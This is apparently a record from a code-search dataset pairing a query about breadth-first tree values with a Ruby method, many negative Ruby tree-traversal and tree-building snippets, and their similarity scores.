cmd_tree\n print_tree(Editor, 0)\n end", "def print_tree(tree)\n return \"-\" if tree.nil?\n puts \"#{tree.value}: \"\n print \"Left: \"\n puts \"#{print_tree(tree.children[0])}\"\n print \"Right: \"\n puts \"#{print_tree(tree.children[1])}\"\nend", "def build_tree(arr)\n if arr.empty?\n return nil\n end\n\n mid = arr.length/2\n root = Node.new(arr[mid])\n\n root.left = build_tree(arr[0...mid])\n root.right = build_tree(arr[(mid+1)..-1])\n\n root\nend", "def make_tree(pre, inord)\n return if pre.size == 0\n root_node = Node.new(pre[0])\n idx = inord.index(pre[0])\n root_node.left = make_tree(pre[1..idx], inord[0...idx])\n root_node.right = make_tree(pre[idx+1...pre.size], inord[idx+1...inord.size])\n return root_node\nend", "def christmas_tree(height)\n base_number = 2 * height - 1\n tree = []\n height.times do |i|\n nb_stars = (base_number - (2 * i))\n stars = '*' * nb_stars\n spaces = ' ' * ((base_number - nb_stars) / 2)\n if stars.size == 1\n tree.push(spaces + stars + spaces)\n else\n tree.push(\"\\n\" + spaces + stars + spaces)\n end\n end\n tree.reverse.join\nend", "def tree(object, locals = {})\n locals = {\n depth: [],\n }.merge(locals)\n\n if locals[:depth].size > @options[:drop]\n if object == object.parent.children.last\n prefix_char = @options[:edge_char]\n else\n prefix_char = @options[:connect_char]\n end\n else\n prefix_char = \"\"\n end\n\n indents = locals[:depth].each.with_index.collect {|e, i|\n if i > @options[:drop]\n tab = e ? @options[:tab_visible_char] : \"\"\n tab.toeuc.ljust(@options[:tab_space]).toutf8\n end\n }.join\n\n if @block\n label = @block.call(object, locals)\n else\n if locals[:depth].empty? && @options[:root_label] # Change if there is root and alternative label\n label = @options[:root_label]\n else\n label = TreeSupport.node_name(object)\n end\n end\n\n buffer = \"\"\n branch_char = nil\n\n if locals[:depth].size > @options[:drop]\n branch_char = @options[:branch_char]\n end\n if locals[:depth].size < @options[:take]\n if locals[:depth].size >= @options[:drop]\n buffer = \"#{indents}#{prefix_char}#{branch_char}#{label}#{@options[:debug] ? locals[:depth].inspect : \"\"}\\n\"\n end\n end\n\n flag = false\n if object.parent\n flag = (object != object.parent.children.last)\n end\n\n locals[:depth].push(flag)\n if locals[:depth].size < @options[:take]\n buffer << object.children.collect {|node| tree(node, locals)}.join\n end\n locals[:depth].pop\n\n buffer\n end", "def build_tree(array)\n first_node = Node.new(nil, nil, array[0])\n this_node = first_node\n i = 1\n\n finished = false\n while !finished\n if array[i] == nil\n finished = true\n elsif array[i] < this_node.data\n if this_node.left_child == nil\n this_node.left_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.left_child\n end\n elsif array[i] > this_node.data\n if this_node.right_child == nil\n this_node.right_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.right_child\n end \n elsif array[i] == this_node.data\n i += 1\n end\n end\n return first_node\nend", "def build_tree(arr, root, i, n)\n\tif i < n\n\t\troot = TreeNode.new(arr[i])\n\t\troot.left = build_tree(arr, root.left, i*2+1, n)\n\t\troot.right = build_tree(arr, root.right, i*2+2, n)\n\tend\n\treturn root\nend", "def build_tree(unit, node, level = 0)\r\n return nil if level > @max_depth\r\n \t\r\n unit.next_move(node.current_case).each do |next_case|\r\n next if next_case[0] < 0 || next_case[0] > 7 ||\r\n next_case[1] < 0 || next_case[1] > 7 \r\n \r\n next_node = Node.new(next_case, node)\r\n node.children << next_node\r\n\r\n build_tree(unit, next_node, level + 1)\r\n end \r\n end", "def build_tree_2(data_array)\n root = nil\n \n data_array.each do |elem|\n node = insert_node(root, nil, elem) \n\troot ||= node\n end\n \n root\nend", "def build_tree(s)\n bytes = s.bytes\n uniq_b = bytes.uniq\n nodes = uniq_b.map { |byte| Leaf.new(byte, bytes.count(byte)) }\n until nodes.length == 1\n node1 = nodes.delete(nodes.min_by(&:count))\n node2 = nodes.delete(nodes.min_by(&:count))\n nodes << Node.new(node1, node2, node1.count + node2.count)\n end\n nodes.fetch(0)\nend", "def to_text\n self_and_descendants.map do |node|\n if block_given?\n inspect = yield(node)\n else\n inspect = node.class.inspect\n end\n \"#{'*'*(node.level+1)} #{inspect} (#{node.parent_id.inspect}, #{node.left}, #{node.right})\"\n end.join(\"\\n\")\n end", "def make_tree_for(position)\n root = TreeNode.new(nil, position)\n\n\nend", "def text_representation node\n return ' ' unless node.is_a? Array\n return ' ' if node.length == 0\n return 'O' if node.length > 1\n\n case node.first\n when :left\n '<'\n when :up\n '^'\n when :down\n 'V'\n when :right\n '>'\n else\n ' '\n end\n end", "def printf(root=nil)# def printf(children=nil)\n if root == nil\n root = @root\n end\n node_array = []\n node_array.push(root)\n printf_breadth(node_array)\n end", "def dump\n # from collections import deque\n\n bit_array = [1, 0] # [1, 0] indicates the 0th node\n labels = ['']\n indices = []\n\n #dumps by Breadth-first search\n queue = []\n queue.push @tree\n\n until queue.empty?\n node = queue.shift\n labels.push node.value\n # indices.push \n\n bit_array += [1] * node.children.size + [0]\n\n node.children.each do |child|\n child.visited = true\n queue.push child\n end\n end\n [bit_array, labels, indices]\n end", "def build_tree(data, node=self)\n data = data.sort\n build_bin_tree(data, 0, data.length - 1, node)\n end", "def build_tree(preorder, inorder)\n return nil if preorder.empty? && inorder.empty?\n\n array = []\n\n node = Node.new(preorder.first)\n\n array << preorder.first\n\n idx = inorder.index(preorder.first)\n\n left_inorder = inorder[0...idx]\n right_inorder = inorder[(idx+1)..-1]\n\n left_preorder = preorder & left_inorder\n right_preorder = preorder & right_inorder\n\n node.left = build_tree(left_preorder, left_inorder)\n node.right = build_tree(right_preorder, right_inorder)\n\n node\nend", "def construct_tree(arr)\n root = TreeNode.new(arr.shift)\n xtd = [root]\n while !xtd.empty? && !arr.empty?\n cur_node = xtd.shift\n a, b = arr.shift(2) # doesn't matter if arr.size < 2. in this case, a, b might be nil\n cur_node.left = a.nil? ? nil : TreeNode.new(a)\n cur_node.right = b.nil? ? nil : TreeNode.new(b)\n xtd << cur_node.left unless cur_node.left.nil?\n xtd << cur_node.right unless cur_node.right.nil?\n end\n root\nend", "def runTest()\n\tareaWidth = rand(80..140)\n\tareaHeight = rand(40..80)\n\tsubdivisions = rand(3..6)\n\tbspTree = Tree.new([areaWidth, areaHeight, subdivisions])\n\tcreateTextOutput(bspTree, areaWidth, areaHeight, subdivisions)\nend", "def printTree(options = {})\n # Set defaults\n options[:name] ||= true\n options[:content] ||= false\n \n result = \"\"\n \n options[:output] = result \n # Traverse tree and modify result by tacking on child names.\n printTraversal(options)\n \n puts result\n end", "def test_tree_representation\n e =\n'ROOT (0.94)\n outlook => rainy (0.694)\n windy => TRUE (0.0)\n play => no (0.0)\n windy => FALSE (0.0)\n play => yes (0.0)\n outlook => overcast (0.694)\n play => yes (0.0)\n outlook => sunny (0.694)\n humidity => normal (0.0)\n play => yes (0.0)\n humidity => high (0.0)\n play => no (0.0)\n'\n assert_equal e, @tree.to_s\n end", "def to_s\n result = \"[ \"\n @tree.each do | pair |\n result += \"(\"+ pair.key.to_s + \",\" + pair.value.to_s + \") \"\n end\n result += \"]\"\n return result\n end", "def build_tree(data)\n @root = Node.new(data[0])\n data.shift\n data.each { |value| @root.insert(value) }\n end", "def print_level_order(root)\n return if !root\n queue = Queue.new()\n queue.enqueue(root)\n total_nodes_in_current_level = 1\n total_nodes_in_next_level = 0\n\n while (!queue.is_empty?) # as long as the queue is not empty\n current_node = queue.dequeue\n\n # we print current_node's value and decrement total_nodes_in_current_level by 1. We then add its children (if any) to the queue and increment total_nodes_in_next_level by 2.\n print current_node.value, \" \"\n total_nodes_in_current_level -= 1\n\n queue.enqueue(current_node.left_child) if current_node.left_child\n queue.enqueue(current_node.right_child) if current_node.right_child\n total_nodes_in_next_level += 2\n\n if total_nodes_in_current_level == 0 # this means we finished printing the node values in the current node\n print \"\\n\"\n # swap total_nodes_in_current_level and total_nodes_in_next_level\n total_nodes_in_current_level = total_nodes_in_next_level\n total_nodes_in_next_level = total_nodes_in_current_level\n end\n end\n print \"\\n\"\nend", "def build_tree(array, left=0, right=array.length-1)\n \n# base case\n return if left > right\n\n# from smallest to largest\n array = merge_sort(array)\n\n# middle index, make this the first node\n index_mid = left + (right-left) / 2 \n node = Node.new(array[index_mid]) \n \n# i think it's making the left node (smaller), & right (larger)\n# looks like it is recursion\n node.left_child = build_tree(array, left, index_mid-1) \n node.right_child = build_tree(array, index_mid+1, right) \n\n @tree = node\n @tree\n end", "def build_tree_arbitrary(arr)\n node = Node.new(arr[0])\n queue = [node]\n @root = node\n i = 0\n\n until queue.empty?\n node = queue.shift\n children = node_children(node, i, arr)\n queue.concat(children)\n i += 2\n end\n end", "def text\n\t\t@tree.text\n\tend", "def _display_tree(max_length=20, tabs='')\n\t\treturn @contents._display_tree(max_length, tabs)\n\tend", "def print_tree(d)\n \n print_tree(d['l']) if d.key?('l')\n print \"#{d['v']},\" if d.key?('v')\n print_tree(d['r']) if d.key?('r')\n \nend", "def build_tree_unsorted(array)\n array.each_index{ |index|\n\n }\nend", "def print_tree(n, i = 0)\n i.times { print \" \" }\n puts \"+-#{n}\"\n $classtree[n].sort.each { |c| print_tree(c, i+2) }\nend", "def print_tree\n if root.children\n puts \" - root : #{root.children.length} - \"\n root.children.each(&:print_node)\n puts ''\n end\n end", "def order_tree(value)\n\n (0..t.children().length-1).each do |i|\n\n if (t.children[i].value.to_s==\"\")\n\n (i..t.children().length).each do |j|\n if(j+1<t.children().length)\n aux=t.children[j+1].value.to_s\n t.children[j+1].value=t.children[j].value.to_s\n t.children[j].value=aux\n end\n end\n\n end\n puts t.children[i].value.to_s\n end\n end", "def at_depth(depth , *strings)\n prefix = \" \" * 2 * depth\n strings.collect{|str| prefix + str}.join(\"\\n\")\n end", "def make_binary_tree(sorted_array)\n if sorted_array.length == 0\n return nil\n elsif sorted_array.length == 1\n return TreeNode.new(sorted_array[0])\n end\n divide_index = sorted_array.length / 2\n tree_node = TreeNode.new(sorted_array[divide_index])\n tree_node.left = make_binary_tree(sorted_array[0..divide_index-1])\n tree_node.right = make_binary_tree(sorted_array[divide_index+1..sorted_array.length-1])\n return tree_node\nend", "def build_tree(item_list = @sorted_list,root_node = nil)\n #sorted root sorts and removes duplicates from the item list\n if (item_list[0] == nil)\n return nil\n else\n start = 0\n end_of_item_list = item_list.length - 1\n mid = (start + item_list.length) / 2\n #set the root node then start creating a tree node for the left and right side of the array\n #Then after that branch is created attach it to the correct position\n root_node = Node.new(item_list[item_list.length/2])\n root_node.right = build_tree(item_list[0,mid],root_node) \n root_node.left = build_tree(item_list[mid+1,end_of_item_list],root_node)\n return root_node\n end\n \n end", "def random_tree\n\t\t#range of possible angle separations between branches\n\t\t#big range seems to be ok, 30 to 60 works nice\n\t\t$angle_of_separation = (30..60).to_a\n\t\t#range of possible shrinkage values, will have a decimal in front of it\n\t\t#shrink determines how short each branch is\n\t\t$shrink_range = (4..6).to_a\n\t\t#split determines how many levels of branches there are\n\t\t#below 5 makes a pretty weak tree\n\t\t#above 7 makes a big blob of black\n\t\t$split_range = (5..7).to_a\n\t\t\n\t\t#Determines how many branches the current one splits off into\n\t\t$num_splits = rand(4)+2\n\t\t\n\t\t#how long the \"trunk\" is, height is 600\n\t\t#this gets ugly above 250\n\t\t$trunk = (150..250).to_a\n\t\t\n\t\t#pick a random number from the split range to be used as the number of splits\n\t\t$split_range = $split_range[rand($split_range.length)]\n\t\t#as a decimal, find the factor we will multiply future branches by\n\t\t@shrink = \"0.#{$shrink_range[rand($shrink_range.length)]}\".to_f\n\t\t#pick a random value for the angle of separation from the range\n\t\t$angle_of_separation = $angle_of_separation[rand($angle_of_separation.length)]\n\t\t\n\t\t#make a multidimensional array for branches\n\t\t@branches = []\n\t\t#start at the bottom, but not all the way down\n\t\t#move @x to the top of the trunk, ready for next branches\n\t\t@branches << [ [[@x, Height - @bot_margin], [@x, Height - $trunk[rand($trunk.length)]]] ] \n\t\t\n\t\tputs \"This output is from Random Tree\"\n\t\tputs \"Number of splits: #{$num_splits}\"\n\t\tputs \"Angle of separation: #{$angle_of_separation}\"\n\t\tputs \"Shrink range: #{$shrink_range[0]} to #{$shrink_range[$shrink_range.length-1]}\"\n\t\tputs \"Split range: #{$split_range}\"\n\t\tputs \"Initial branch length: #{$trunk[0]} to #{$trunk[$trunk.length-1]}\"\n\t\t\n\t end", "def printf(children=nil)\n fname = \"comparison.txt\"\n comparison_file = File.open(fname, \"w\")\n \n theight = tree_height(@root)\n for i in 1..theight do\n print_given_level(@root, i)\n end\n \n comparison_file.close\n\n end" ]
[ "0.7588622", "0.6982911", "0.64528465", "0.63787144", "0.63711566", "0.6337727", "0.6287795", "0.62840784", "0.62748057", "0.6244077", "0.62364006", "0.6231077", "0.6226879", "0.61911505", "0.61880326", "0.6178838", "0.6178838", "0.6136494", "0.6130256", "0.60903126", "0.60885435", "0.608267", "0.60743773", "0.606738", "0.6044214", "0.603551", "0.60261273", "0.6011139", "0.5986343", "0.5981814", "0.5973666", "0.5931833", "0.5889157", "0.588256", "0.58441764", "0.5833042", "0.5831595", "0.5827467", "0.582377", "0.5822676", "0.5811996", "0.5803042", "0.58022624", "0.5785971", "0.5764632", "0.573014", "0.57036316", "0.5687017", "0.56806195", "0.5677747", "0.56733155", "0.5673026", "0.5672658", "0.56687224", "0.56618977", "0.56445765", "0.5644543", "0.5643213", "0.5636562", "0.5634306", "0.56332415", "0.56289494", "0.56240225", "0.5623081", "0.55976105", "0.5587556", "0.5562803", "0.5560605", "0.5556917", "0.5555134", "0.5543562", "0.554315", "0.5542886", "0.55391437", "0.5519625", "0.55118465", "0.5506087", "0.5505073", "0.54871166", "0.5479781", "0.5478047", "0.5476268", "0.5464411", "0.5452651", "0.5446925", "0.5432881", "0.5432488", "0.5431092", "0.5425653", "0.5414074", "0.53954977", "0.53885376", "0.53870916", "0.5368291", "0.536796", "0.5367691", "0.53661555", "0.5361749", "0.5357584", "0.5357151" ]
0.83797944
0
Returns an array of all node values in breadthfirst search order. Includes 'nil' nodes, such that the array is a representation of the tree as a complete binary tree (even if the actual binary tree is NOT complete)
def all_node_values_with_nil tree_nodes = [] queue = [@root] queue_all_nil = false # continue adding all child nodes to queue until it contains only nil nodes until queue_all_nil cur_node = queue.first next_value = cur_node.nil? ? nil : cur_node.value tree_nodes << next_value if cur_node.nil? # maintain "complete tree" structure using nil in queue where no nodes 2.times {queue.push(nil)} else queue.push(cur_node.left_child) queue.push(cur_node.right_child) end queue.shift queue_all_nil = queue.all? {|node| node.nil?} end return tree_nodes end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def breadth_first\n queue = []\n values = []\n queue << @root\n\n while queue.size > 0\n node = queue.shift\n queue << node.left unless node.left.nil?\n queue << node.right unless node.right.nil?\n\n values << node.value\n end\n\n values\n end", "def breadth_first\n result = []\n queue = [self]\n while !queue.empty?\n node = queue.shift\n result << node\n node.children.sort.each do |child|\n queue << child\n end\n end\n return result\n end", "def bfs\n return [] if @root.nil?\n queue = []\n list = []\n queue.push(@root)\n while queue.length > 0\n curr_node = queue[0]\n list << {key: curr_node.key, value: curr_node.value}\n queue.push(curr_node.left) if curr_node.left\n queue.push(curr_node.right) if curr_node.right\n queue.shift\n end\n return list \n end", "def bfs\n result = []\n\n return result if @root.nil?\n\n queue = [@root]\n\n while !queue.empty?\n node = queue.shift\n\n result << { key: node.key, value: node.value }\n\n if node.left\n queue << node.left\n end\n\n if node.right\n queue << node.right\n end\n end\n\n return result\n end", "def all\n result = []\n\n queue = []\n current_node = self.find_root\n queue << current_node\n\n until queue.empty?\n current_node = queue[0]\n result << current_node.val\n # use empty nodes to maintain two-childs for each node so it's easier to read the array output\n if current_node.val != \"E\"\n if current_node.left\n queue << current_node.left\n else\n # only insert an empty node when the other branch exists\n # prevents excessive empty nodes for external nodes\n queue << BSTNode.new(\"E\", parent = current_node) if current_node.right\n end\n if current_node.right\n queue << current_node.right\n else\n # only insert an empty node when the other branch exists\n # prevents excessive empty nodes for external nodes\n queue << BSTNode.new(\"E\", parent = current_node) if current_node.left\n end\n end\n queue.shift\n end\n\n result\n end", "def sorted_array\n result = []\n stack = [root]\n until stack.empty?\n current = stack.shift\n result << current.value unless current.value.nil?\n stack << current.left_child unless current.left_child.nil?\n stack << current.right_child unless current.right_child.nil?\n end\n result.sort\n end", "def bfs\n q = []\n list = []\n\n return [] if @root.nil?\n\n current_node = @root\n \n q.push(current_node)\n # put current node into queue\n while q.length != 0\n # put current node into list and delete from queue\n # add current node's children into the queue\n list.push({key: q[0].key, value: q[0].value})\n q.shift\n \n if current_node.left != nil \n q.push(current_node.left) \n end \n\n if current_node.right != nil \n q.push(current_node.right)\n end\n current_node = q[0] \n end \n\n return list\n end", "def bfs\n return [] unless @root\n q = [@root]\n out = []\n\n until q.empty? do\n current = q.shift\n out << { key: current.key, value: current.value }\n q << current.left if current.left\n q << current.right if current.right\n end\n\n return out\n end", "def cache_nodes_to_array\n arr = []\n node = @rear_node\n begin\n arr << node.value\n node = node.parent\n end while !node.nil?\n return arr\n end", "def bfs\n bfs_queue = []\n curr = @root\n node_list = []\n while curr\n visit(curr, node_list)\n bfs_queue << curr.left if curr.left\n bfs_queue << curr.right if curr.right\n curr = bfs_queue.shift\n end\n return node_list\n end", "def bfs\n list = []\n if @root\n queue = []\n queue << @root\n queue.each do |current|\n list << {key: current.key, value: current.value}\n queue << current.left if current.left\n queue << current.right if current.right\n end\n end\n return list\n end", "def bfs\n # this is 'really' a traversal, but this type of search is similar to what we'll be doing with graphs and it's called 'breadth first search'\n list = []\n return list if @root.nil?\n queue = [@root]\n\n until queue.empty?\n # big O of shift is O(n)\n current = queue.shift\n # how to check if current has a left subtree?\n queue.push(current.left) unless current.left.nil?\n queue.push(current.right) unless current.right.nil?\n\n list << { key: current.key, value: current.value}\n end\n end", "def breadthFirstSearch(array)\n queue = [self]\n\n while queue.length > 0\n current = queue.shift\n array.append(current.name)\n for child in current.children\n queue.append(child)\n end\n end\n\n return array\n\n end", "def inorder_traversal_i(root)\n # declare a queue (Stack)'\n # declare an array variable\n # until root.value.nil? \n # push all the left nodes to the stack\n # once reach to root.value, push stack value to array \n arr = []\n stack = Queue.new \n currentNode = root\n while (!currentNode.nil? || !stack.empty?)\n while !currentNode.nil?\n stack.push(currentNode)\n currentNode = root.left\n end \n currentNode = stack.pop \n arr.push(currentNode.val)\n currentNode = currentNode.right \n end \n return arr\n\nend", "def in_order_traversal(root)\n result = []\n\n result << in_order_traversal(root.left) unless root.left.nil?\n result << root.val\n result << in_order_traversal(root.right) unless root.right.nil?\n\n result.flatten\nend", "def bfs\n return [] if @root.nil?\n end", "def inorder\n return [] if @root.nil?\n\n nodelets_array = []\n\n inorder_helper(@root, nodelets_array)\n\n return nodelets_array\n end", "def bfs(start_node_num)\n node = find_node(start_node_num)\n _clear_visited\n ret_list = [node.value]\n # Your code here\n q = Queue.new\n q << node\n node.visited = true\n\n until q.empty?\n current = q.pop\n current.edges.each do |edge|\n next if edge.node_to.visited\n q << edge.node_to\n edge.node_to.visited = true\n ret_list << edge.node_to.value\n end\n end\n\n return ret_list\n end", "def traverse_bfs\n q = Queue.new\n q.push @tree\n \n loop do\n break if q.empty?\n node = q.shift\n if block_given?\n yield node\n else\n @visited << node.data\n end\n node.children.each{ |n| q.push n } if node.children\n end\n end", "def to_a\n result = []\n fill_result = proc { |node_data| result << node_data }\n in_order_run_callable(@root, fill_result)\n result\n end", "def preorder_traversal root\n result = []\n\n result << root.val\n result << preorder_traversal(root.left) unless root.left.nil?\n result << preorder_traversal(root.right) unless root.right.nil?\n\n result\nend", "def bfs(tree)\n Enumerator.new do |yielder|\n queue = [tree]\n while !queue.empty?\n node = queue.shift\n children = node[1..-1]\n yielder << node.first\n children.each do |child|\n queue << child\n end\n end\n end\nend", "def depth_first(node = @root, values = [])\n if node\n values << node.value\n\n depth_first(node.left, values)\n depth_first(node.right, values)\n end\n\n values\n end", "def pre_order_traversal\n nodes = []\n nodes.push(@root_value)\n nodes += @left.pre_order_traversal if @left\n nodes += @right.pre_order_traversal if @right\n nodes\n end", "def nodes_breadthfirst(node = self.root, &block)\n @nodes = []\n iterate_breadthfirst(node, &block)\n ensure\n @nodes = nil\n end", "def depth_first(current_node = @root)\n if nil == current_node\n return []\n elsif current_node.is_leaf?\n return [current_node.value]\n else\n l_node = current_node.left_node\n r_node = current_node.right_node\n return [current_node.value] + (depth_first(l_node) + depth_first(r_node))\n end\n end", "def nodes_inorder\n ret = []\n inorder(root, ret)\n ret\n end", "def breadth_first_search(tree, value)\n tgt_node = nil\n \n queue = Array(tree)\n \n while !queue.empty?\n cur_node = queue.shift \n \n\tif cur_node.value == value\n\t tgt_node = cur_node\n\t break\n\tend\n\t\n\tcur_node.children.each { |child| queue << child unless child.nil? }\n end\n \n tgt_node\nend", "def in_order_traversal\n nodes = []\n nodes += @left.in_order_traversal if @left\n nodes.push(@root_value)\n nodes += @right.in_order_traversal if @right\n nodes\n end", "def inorder_traversal(root)\n #Base: when root is at the end\n return [] if root.nil?\n #Declare empty array\n result = []\n #push recursive call of root.left\n result.concat(inorder_traversal(root.left))\n #push root vale itself\n result << root.val\n #push recursive call of root.right\n result.concat(inorder_traversal(root.right))\n # return result \n result\nend", "def post_order_traversal\n nodes = []\n nodes += @left.post_order_traversal if @left\n nodes += @right.post_order_traversal if @right\n nodes.push(@root_value)\n nodes\n end", "def pre_order_traverse(tree, array)\n if !tree.nil?\n array.append(tree.value)\n pre_order_traverse(tree.left, array)\n pre_order_traverse(tree.right, array)\n end\n \n return array\n\nend", "def in_order_traversal(tree_node = @root, arr = [])\n # left children, itself, right children\n if tree_node.left\n in_order_traversal(tree_node.left, arr)\n end\n\n arr.push(tree_node.value)\n\n if tree_node.right\n in_order_traversal(tree_node.right, arr)\n end\n\n arr\n end", "def preorder\n nodelets_array = []\n\n preorder_helper(@root, nodelets_array)\n\n return nodelets_array\n end", "def dump\n # from collections import deque\n\n bit_array = [1, 0] # [1, 0] indicates the 0th node\n labels = ['']\n indices = []\n\n #dumps by Breadth-first search\n queue = []\n queue.push @tree\n\n until queue.empty?\n node = queue.shift\n labels.push node.value\n # indices.push \n\n bit_array += [1] * node.children.size + [0]\n\n node.children.each do |child|\n child.visited = true\n queue.push child\n end\n end\n [bit_array, labels, indices]\n end", "def level_order_iter(only_vals: true)\n level_order_array = [@root]\n children_queue = [@root.left, @root.right]\n until children_queue.all?(&:nil?)\n # Dequeue the next child\n current_node = children_queue.shift\n next if current_node.nil?\n\n level_order_array << current_node\n # Queue up the left and rode nodes as children\n children_queue << current_node.left unless current_node.left.nil?\n\n children_queue << current_node.right unless current_node.right.nil?\n\n end\n\n # Return array of just the values if only_vals is true.\n only_vals ? level_order_array.map(&:value) : level_order_array\n end", "def build_array(node)\r\n return [] if node.nil?\r\n results = []\r\n results.concat build_array(node.left)\r\n results << node.payload\r\n results.concat build_array(node.right)\r\n results\r\nend", "def get_all_trees_from_preorder(array, start=0, end_index=array.size-1)\n #Pre-order visits root first. So 1st element is always root of the tree. next element could be left or right\n #Form all trees with next element being its left, then trees with next element as its right etc.\n # [1,2,3,4] => Use DP approach, bottom up approach. Go all the way down to last 2 nodes\n # 3 3\n # 4 and 4\n # Now 2 can be added as the root and left could be 3 and right could be 3\n # 4 4\n # And follow this till root\n if (start == array.size-1)\n return [Node.new(array[start])]\n end\n results = []\n trees = get_all_trees_from_preorder(array, start+1, end_index-1)\n trees.each do |tree|\n node1 = Node.new(array[start])\n node1.left = tree\n results << node1\n node2 = Node.new(array[start])\n node2.right = tree\n results << node2\n end\n results\nend", "def preorder_array(node)\n return if node == nil\n #store visited node data\n @preorder_result << node.data\n preorder_array(node.left)\n preorder_array(node.right)\n end", "def breadth_first_search_with_debug(data)\n search_order = [] # For Debug output\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n puts \"Breadth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def bfs(target_value)\n child_arr = [self]\n # children.each {|child| children_arr << child }\n while child_arr.length > 0\n node_to_check = child_arr.shift\n return node_to_check if node_to_check.value == target_value\n node_to_check.children.each { |child| child_arr << child }\n end\n nil\n end", "def bfs(val) \n queue = [self] \n\n until queue.empty? \n if queue.first.value == val\n return queue.first\n else\n queue.concat(queue.shift.children) #you add [] + children's children\n end\n end\n nil #if noting == val\n end", "def bnodes\n @graphs.inject([]) {|memo, g| memo += g.bnodes}\n end", "def get_all_vals(node, arr)\n # add the value of the node to the array\n arr << node.val\n \n # using a ternary operator, check if there is another node in the list\n # if so, recursively run the function again\n # if not, return the array\n return node.next ? get_all_vals(node.next, arr) : arr\n end", "def nodes\n []\n end", "def bfs(current = @root, array = [])\n if current == nil\n return array\n else\n bfs(current.left, array)\n array << { key: current.key, value: current.value }\n bfs(current.right, array)\n end\n end", "def flatten\n nodes = []\n queue = [node]\n\n while node = queue.shift\n nodes << node\n queue.unshift(*node.children) unless node.leaf?\n end\n\n nodes\n end", "def tree_to_array(node)\n h = height(node)\n tree_arr = []\n (1..h).each do |n|\n tree_arr << node_at_a_level(node, n)\n end\n tree_arr\nend", "def bst_sequence(node)\n result = []\n children_array = node.children.permutation.to_a\n children_array.map do |array|\n array.unshift(node)\n end\nend", "def breadth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # get next node from the queue\n node = @list.shift\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # place each child in the queue, from left to right\n @list << node.left if node.left\n @list << node.right if node.right\n end\n @list.clear # remove any remaining items from the queue\n\t node\n end", "def preorder_traversal(root)\n stack = [root]\n result = []\n while stack.any?\n result << stack.pop\n stack.push(result[-1].right) if !result[-1].right.nil?\n stack.push(result[-1].left) if !result[-1].left.nil?\n end\n \n result.map { |x| x.val }\nend", "def preorder_traversal(root, vals=[])\n # recursive base case\n return [] if root.nil?\n\n # perform the operation on the current node\n vals << root.val\n\n # recursively perform operation on left child\n preorder_traversal(root.left, vals)\n\n # recursively perform operation on left child\n preorder_traversal(root.right, vals)\n\n # to satisfy requirement that initial invocation return array of vals in preorder order\n vals\nend", "def all_children\n reload\n nodes = []\n queue = children.to_a\n until queue.empty?\n node = queue.pop\n nodes.push(node)\n queue += node.children.to_a\n queue.flatten!\n end\n nodes\n end", "def nodes\n @nodes ||= each_node.to_a\n end", "def each\n return [] if root.nil?\n root.traverse do |node|\n yield node.value\n end\n end", "def breadth_first_search node= self.root, value\n\t\tqueue = [node]\n\t\twhile queue.length > 0\n\t\t\tcurrent = queue.pop\n\t\t\treturn \"Value #{value} found in #{current.to_s}\" if current.value == value\n\t\t\tqueue.unshift(current.left) if current.left\n\t\t\tqueue.unshift(current.right) if current.right\n\t\tend\n\tend", "def get_values_for_verification\n \t@intermediate_nodes = self.get_intermediate_nodes\n @array = []\n\n @intermediate_nodes.each do |node|\n @array << node.sha.to_s\n if node.is_right_child\n @array << \"rchild\"\n else\n @array << \"lchild\"\n end\n end\n\n \t@array << Node.get_root_node.sha.to_s\n @array << \"root\"\n\n \treturn @array\n #return @intermediate_nodes\n end", "def inorder\n tree_array = []\n if root.nil?\n return tree_array\n else\n root.inorder(tree_array)\n return tree_array\n end\n end", "def depth_first\n result = [self]\n if child_ids.empty?\n return result\n else\n children.sort.each do |child|\n result += child.depth_first\n end \n end\n return result \n end", "def level_order(root = @root)\n return if root.nil?\n array = []\n queue = []\n queue.unshift(root)\n until queue.empty?\n current = queue.last\n array << current.data\n queue.unshift current.left unless current.left.nil?\n queue.unshift current.right unless current.right.nil?\n queue.pop\n end\n return array\n end", "def breadth_first\n return do_breadth_first( [Node.new(@start)], Set.new, @dest)\n end", "def bfs(root)\n # NOTE implement real queue for performance\n queue = []\n root.marked = true\n queue.push(root)\n\n while !queue.empty?\n node = queue.shift\n node.visit\n\n node.adjacent.each do |node|\n if node.marked == false\n node.marked = true\n queue.push(node)\n end\n end\n end\nend", "def preorder_traversal(root, values = [])\n current_node = root\n\n if current_node.left || current_node.right\n values << current_node.value\n values = preorder_traversal(current_node.left, values) if current_node.left\n preorder_traversal(current_node.right, values) if current_node.right\n else\n values << current_node.value\n end\n\n values\nend", "def inorder_traversal(root)\n return [] if root.nil?\n result = []\n stack = []\n\n while root || !stack.empty?\n while root\n stack.push(root)\n root = root.left\n end\n\n root = stack.pop\n result.push(root.val)\n root = root.right\n end\n\n result\nend", "def postorder\n nodelets_array = []\n\n postorder_helper(@root, nodelets_array)\n \n return nodelets_array\n end", "def in_order_traverse(tree, array)\n if !tree.nil?\n in_order_traverse(tree.left, array)\n array.append(tree.value)\n in_order_traverse(tree.right, array)\n end\n return array\n\n\nend", "def breadth_first_search(value)\n search_queue = [@root_node]\n\n until search_queue.empty?\n curr_node = search_queue.shift\n return curr_node if curr_node.value == value\n search_queue << curr_node.left unless curr_node.left.nil?\n search_queue << curr_node.right unless curr_node.right.nil?\n end\n return nil\n end", "def BFT_iterative(root)\n print '[\"I\", \"O\", \"H\", \"L\", \"R\", \"T\", \"M\", \"A\", \"G\"]' + \"\\n\"\n if root == nil\n return\n end\n q = Queue.new\n q.enqueue(root)\n\n while !q.empty?\n root = q.dequeue # I\n print(\"#{root.value}\\n\") \n if !root.left.nil?\n q.enqueue(root.left)\n end\n if !root.left.nil?\n q.enqueue(root.right)\n 